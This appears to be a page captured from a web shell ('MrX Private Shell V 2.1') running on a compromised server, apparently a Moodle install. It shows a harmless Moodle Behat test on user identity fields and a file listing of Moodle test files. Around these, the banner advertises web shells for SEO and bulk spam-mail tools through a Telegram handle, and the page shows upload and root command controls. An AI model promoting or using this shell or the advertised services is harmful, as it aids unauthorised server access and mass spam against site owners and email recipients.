__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

root@216.73.217.120: ~ $
@core
Feature: Select user identity fields
  In order to see who users are at my institution
  As an administrator
  I can configure which user fields show with lists of users

  Background:
    Given the following "custom profile fields" exist:
      | datatype | shortname  | name       | param2 |
      | text     | speciality | Speciality | 255    |
      | checkbox | fool       | Foolish    |        |
      | text     | thesis     | Thesis     | 100000 |
    And the following "users" exist:
      | username | department | profile_field_speciality | email              |
      | user1    | Amphibians | Frogs                    | email1@example.org |
      | user2    | Undead     | Zombies                  | email2@example.org |
    And the following "courses" exist:
      | shortname | fullname |
      | C1        | Course 1 |
    And the following "course enrolments" exist:
      | user  | course | role    |
      | user1 | C1     | manager |
      | user2 | C1     | manager |

  Scenario: The admin settings screen should show text custom fields of certain length (and let you choose them)
    When I log in as "admin"
    And I navigate to "Users > Permissions > User policies" in site administration
    Then I should see "Speciality" in the "#admin-showuseridentity" "css_element"
    And I should not see "Foolish" in the "#admin-showuseridentity" "css_element"
    And I should not see "Thesis" in the "#admin-showuseridentity" "css_element"
    And I set the field "Speciality" to "1"
    And I press "Save changes"
    And the field "Speciality" matches value "1"

  Scenario: The admin settings screen correctly formats custom field names
    Given the "multilang" filter is "on"
    And the "multilang" filter applies to "content and headings"
    And the following "custom profile field" exists:
      | datatype  | text  |
      | name      | <span class="multilang" lang="en">Field (EN)</span><span class="multilang" lang="de">Field (DE)</span> |
      | shortname | stuff |
      | param2    | 100   |
    When I log in as "admin"
    And I navigate to "Users > Permissions > User policies" in site administration
    Then I should see "Field (EN)" in the "#admin-showuseridentity" "css_element"
    And I should not see "Field (DE)" in the "#admin-showuseridentity" "css_element"

  Scenario: When you choose custom fields, these should be displayed in the 'Browse list of users' screen
    Given the following config values are set as admin:
      | showuseridentity | username,department,profile_field_speciality |
    When I log in as "admin"
    And I navigate to "Users > Accounts > Browse list of users" in site administration
    Then I should see "Speciality" in the "thead" "css_element"
    And I should see "Department" in the "thead" "css_element"
    And I should not see "Email" in the "thead" "css_element"
    Then I should see "Amphibians" in the "user1" "table_row"
    And I should see "Frogs" in the "user1" "table_row"
    And I should not see "email1@example.org"
    And I should see "Undead" in the "user2" "table_row"
    And I should see "Zombies" in the "user2" "table_row"
    And I should not see "email2@example.org"

  Scenario: When you choose custom fields, these should be displayed in the 'Participants' screen
    Given the following config values are set as admin:
      | showuseridentity | username,department,profile_field_speciality |
    When I am on the "C1" "Course" page logged in as "user1"
    And I navigate to course participants
    Then I should see "Frogs" in the "user1" "table_row"
    And I should see "Zombies" in the "user2" "table_row"

  @javascript
  Scenario: The user filtering options on the participants screen should work for custom profile fields
    Given the following config values are set as admin:
      | showuseridentity | username,department,profile_field_speciality |
    When I am on the "C1" "Course" page logged in as "admin"
    And I navigate to course participants
    And I set the field "type" in the "Filter 1" "fieldset" to "Keyword"
    And I set the field "Type..." in the "Filter 1" "fieldset" to "Frogs"
    # You have to tab out to make it actually apply.
    And I press tab
    And I click on "Apply filters" "button"
    Then I should see "user1" in the "participants" "table"
    And I should not see "user2" in the "participants" "table"

Filemanager

Name Type Size Permission Actions
fixtures Folder 0755
action_menu.feature File 1.11 KB 0644
action_menu_subpanel.feature File 14.23 KB 0644
action_modal.feature File 2.06 KB 0644
alpha_chooser.feature File 22.13 KB 0644
behat_accessibility.php File 7.8 KB 0644
behat_action_menu.php File 8.45 KB 0644
behat_data_generators.php File 10.55 KB 0644
behat_deprecated.php File 1.41 KB 0644
behat_download.php File 8.42 KB 0644
behat_filters.php File 2.95 KB 0644
behat_forms.php File 33.96 KB 0644
behat_general.php File 115.55 KB 0644
behat_hooks.php File 33.02 KB 0644
behat_moodlenet.php File 2.03 KB 0644
behat_navigation.php File 72.67 KB 0644
behat_permissions.php File 12.62 KB 0644
behat_transformations.php File 7.17 KB 0644
datetime_any.feature File 4.24 KB 0644
dropdown_output.feature File 11.15 KB 0644
enabledashboard.feature File 846 B 0644
expand_single_fieldset.feature File 697 B 0644
largeforms.feature File 2.67 KB 0644
locking.feature File 8.55 KB 0644
menu_navigation_single_activity.feature File 4.04 KB 0644
menu_navigation_topics.feature File 4.38 KB 0644
min_max_version.feature File 1018 B 0644
modal_focus.feature File 1.36 KB 0644
moodlenet_outbound.feature File 5.62 KB 0644
moodlenet_share_course.feature File 3.64 KB 0644
moodlenet_share_partial_course.feature File 5.45 KB 0644
permissionmanager.feature File 3.62 KB 0644
profile_pic_access.feature File 3.32 KB 0644
readonlyform.feature File 1.14 KB 0644
securelayout.feature File 1.96 KB 0644
showuseridentity.feature File 4.26 KB 0644
switch_editing_mode.feature File 2.67 KB 0644
timezone.feature File 431 B 0644
userfeedback.feature File 2.18 KB 0644
Filemanager